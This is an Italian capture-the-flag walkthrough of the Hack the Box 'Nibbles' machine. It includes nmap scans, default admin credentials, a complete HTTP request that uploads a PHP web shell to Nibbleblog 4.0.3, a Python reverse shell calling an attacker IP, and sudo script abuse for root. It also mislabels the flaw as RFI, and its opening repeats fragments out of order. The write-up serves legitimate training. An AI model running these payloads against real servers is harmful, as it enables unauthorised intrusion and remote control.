HTB - Nibbles



A seguire è riportato un breve walkthrough della macchina Nibbles offerta dalla piattaforma Hack the Box.

Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-12 02:08 CET
Nmap scan report for nibbles (10.129.66.223)
Host is up (0.055s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.73 seconds
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-12 02:08 CET
Nmap scan report for nibbles (10.129.66.223)
Host is up (0.055s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 19.84 seconds
admin:nibbles
cat /home/nibbler/user.txt     
Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

Unzip the personal.zip file in in nibbles home dir and execute the following

echo "echo /root/root.txt > .logic && chmod 777 .logic" > monitor.sh 
sudo -u root ./monitor.sh    

Uno scan base con nmap rivela la seguente situazione

nmap -sC -sV nibbles

Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-12 02:08 CET
Nmap scan report for nibbles (10.129.66.223)
Host is up (0.055s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.73 seconds

Come possiamo vedere, abbiamo un server in ascolto nella porta \(80\).

Andando nella pagina principale del web server e visualizzando il codice html della pagina troviamo il seguente commento

<!-- /nibbleblog/ directory. Nothing interesting here! -->    

Andando nella risorsa /nibbleblog del sito troviamo una istanza di nibbleblog, una blog engine scritta in php. La versione dell'engine è la 4.0.3, che è vulneraible alla seguente Remote File Inclusion (RFI):

Per exploitare questa RFI possiamo procedere come segue

  1. Attiviamo il plugin my image con la seguente richiesta http

    curl http://nibbles/nibbleblog/admin.php?controller=plugins&action=install&plugin=my_image      
    
  2. Carichiamo lo script php facendo finta che sia un'immagine con la seguente richiesta HTTP, che può essere inviata ad esempio con burpsuite.

    POST /nibbleblog/admin.php?controller=plugins&action=config&plugin=my_image HTTP/1.1
    Host: nibbles
    Content-Length: 1026
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://nibbles
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydfj2vBXAZsGAFBeB
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://nibbles/nibbleblog/admin.php?controller=plugins&action=config&plugin=my_image
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Cookie: PHPSESSID=tj71gvde5ucrj0jirrlt5e11h5
    Connection: close
    
    ------WebKitFormBoundarydfj2vBXAZsGAFBeB
    Content-Disposition: form-data; name="plugin"
    
    my_image
    ------WebKitFormBoundarydfj2vBXAZsGAFBeB
    Content-Disposition: form-data; name="title"
    
    My image
    ------WebKitFormBoundarydfj2vBXAZsGAFBeB
    Content-Disposition: form-data; name="position"
    
    4
    ------WebKitFormBoundarydfj2vBXAZsGAFBeB
    Content-Disposition: form-data; name="caption"
    
    
    ------WebKitFormBoundarydfj2vBXAZsGAFBeB
    Content-Disposition: form-data; name="image"; filename="shell.php"
    Content-Type: application/x-php
    
    <?php echo system($_REQUEST['cmd']) ?>
    ------WebKitFormBoundarydfj2vBXAZsGAFBeB
    Content-Disposition: form-data; name="image_resize"
    
    1
    ------WebKitFormBoundarydfj2vBXAZsGAFBeB
    Content-Disposition: form-data; name="image_width"
    
    230
    ------WebKitFormBoundarydfj2vBXAZsGAFBeB
    Content-Disposition: form-data; name="image_height"
    
    200
    ------WebKitFormBoundarydfj2vBXAZsGAFBeB
    Content-Disposition: form-data; name="image_option"
    
    auto
    ------WebKitFormBoundarydfj2vBXAZsGAFBeB--
    
  3. Una volta che abbiamo caricato la shell nel server remoto possiamo eseguire il nostro codice e spawnare una reverse shell

    http://nibbles/nibbleblog/content/private/plugins/my_image/image.php?cmd=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.14.95%22,4321));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27%20&
    

Una volta che siamo dentro la macchina possiamo leggere direttamente la user flag situata nella seguente path

/home/nibbler/user.txt

in quanto siamo loggati come l'utente nibbler.

Per ottenere la root flag invece dobbiamo prima unzippare il file personal.zip presente nella home directory dell'utente nibbler.

Eseguendo il comando sudo -l troviamo la seguente situazione

Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh     

Come possiamo vedere, l'utente nibbler può esseguire lo script monitor.sh situato nella seguente path

/home/nibbler/personal/stuff

L'idea quindi è quella di modificare lo script monitor.sh e di eseguirlo come root

echo "echo /root/root.txt > .logic && chmod 777 .logic" > monitor.sh 
sudo -u root ./monitor.sh    

A seguire qualche note extra.

Per capire come è stato possibile exploitare la RFI di nibbleblog 4.0.3 scarichiamo il codice dal seguente mirror.

Nibbleblog 4.0.3 Download Mirrors

La vulneraiblità è presente nella funzione move_uploaded_file(), riportata qui a seguire. Da notare il commento "WARNING".

if( ($_SERVER['REQUEST_METHOD'] == 'POST') && isset($_POST['plugin']) )
{
    $plugin = $plugins_all['PLUGIN_'.strtoupper($_POST['plugin'])]; // PLUGIN_MY_IMAGE

    if( $plugin->init_db() )
    {
        // upload files
        foreach($_FILES as $field_name=>$file)
        {
            // get file extension (.php)
            $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
            
            // get destination dir (/content/private/plugins/my_image)
            $destination = PATH_PLUGINS_DB.$plugin->get_dir_name();
            
            // complete file name
            $complete = $destination.'/'.$field_name.'.'.$extension;

            // WARNING (!!!): no checks on the extension are made
            // before uploading!  Upload the new file and move
            if(move_uploaded_file($file["tmp_name"], $complete))
            {
                // Resize images if requested by the plugin
                if(isset($_POST[$field_name.'_resize']))
                {
                    $width = isset($_POST[$field_name.'_width'])?$_POST[$field_name.'_width']:200;
                    $height = isset($_POST[$field_name.'_height'])?$_POST[$field_name.'_height']:200;
                    $option = isset($_POST[$field_name.'_option'])?$_POST[$field_name.'_option']:'auto';
                    $quality = isset($_POST[$field_name.'_quality'])?$_POST[$field_name.'_quality']:100;

                    $Resize->setImage($complete, $width, $height, $option);
                    $Resize->saveImage($complete, $quality, true);
                }
            }
        }

        unset($_POST['plugin']);

        // update fields
        $plugin->set_fields_db($_POST);

        Session::set_alert($_LANG['CHANGES_HAS_BEEN_SAVED_SUCCESSFULLY']);
    }
}

Author: Leonardo Tamiano

Created: 2021-07-23 ven 12:22